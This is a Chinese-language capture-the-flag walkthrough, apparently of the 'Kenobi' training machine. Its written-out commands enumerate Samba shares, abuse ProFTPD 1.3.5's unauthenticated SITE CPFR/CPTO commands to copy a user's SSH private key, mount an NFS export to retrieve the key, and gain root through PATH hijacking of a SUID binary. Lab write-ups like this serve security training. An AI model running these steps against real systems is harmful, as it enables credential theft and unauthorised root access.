演练利用 Linux 机器。枚举 Samba 以获取共享,操作易受攻击的 proftpd 版本,并通过路径变量操作提升您的权限。
Samba
Samba 是适用于 Linux 和 Unix 的标准 Windows 互操作性程序套件。它允许最终用户访问和使用公司 Intranet 或 Internet 上的文件、打印机和其他常用共享资源。它通常被称为网络文件系统。
SMB 有两个端口,445 和 139。
Nmap 枚举共享
1 | nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse MACHINE_IP |
枚举了三个共享
![[Pasted image 20220515125137.png]]
一般利用的是anonymous,密码为空
smbclient连接
1
2smbclient //<ip>/anonymous 连接
smbget -R smb://<ip>/anonymous 获取共享的文件
![[Pasted image 20220515125309.png]]
找到了一个log.txt
- 为用户生成 SSH 密钥时为 Kenobi 生成的信息
- 有关 ProFTPD 服务器的信息。
之前的 nmap 端口扫描将显示端口 111 正在运行服务 rpcbind
这只是一个将远程过程调用(RPC)程序号转换为通用地址的服务器。当一个 RPC 服务启动时,它告诉 rpcbind 它正在监听的地址和它准备服务的 RPC 程序号。
![[Pasted image 20220515130109.png]]用ProFtpd获取访问权限
ProFtpd 是一个免费的开源 FTP 服务器,兼容 Unix 和 Windows 系统。它在过去的软件版本中也很容易受到攻击。
获取ProFtpd版本![[Pasted image 20220515130319.png]]1
2nc 10.10.49.38 21
Searchsploit查找存在的漏洞
Searchsploit 基本上只是exploit-db.com 的命令行搜索工具![[Pasted image 20220515130505.png]]1
searchsploit proftpd 1.3.5
mod_copy模块有两个rce
mod_copy 模块实现SITE CPFR和SITE CPTO命令,可用于将文件/目录从服务器上的一个位置复制到另一个位置。
任何未经身份验证的客户端都可以利用这些命令将文件从 文件系统的任何部分复制到选定的目标。![[Pasted image 20220515131040.png]]1
2
3nc 10.10.49.38
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa
在前面我们知道了/var目录是我们可以挂载的,现在将Kenobi的私钥移动到/var/tmp目录下![[Pasted image 20220515131358.png]]1
2
3mkdir /mnt/kenobiNFS
mount machine_ip:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
现在我们可以去/var/tmp获取私钥然后登录kenobi账户![[Pasted image 20220515131727.png]]1
2
3cp /mnt/kenobiNFS/tmp/id_rsa .
chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.49.38提权
使用路径变量操作提升权限/usr/bin/menu1
find / -perm -u=s -type f 2>/dev/null
![[Pasted image 20220515133548.png]]1
2
3
4echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
/usr/bin/menu
我们复制了 /bin/sh shell,将其命名为 curl,赋予它正确的权限,然后将其位置放在我们的路径中。这意味着当 /usr/bin/menu 二进制文件运行时,它使用我们的路径变量来查找“curl”二进制文件。它实际上是 /usr/sh 的一个版本,以及这个文件以 root 身份运行以root身份运行我们的shell!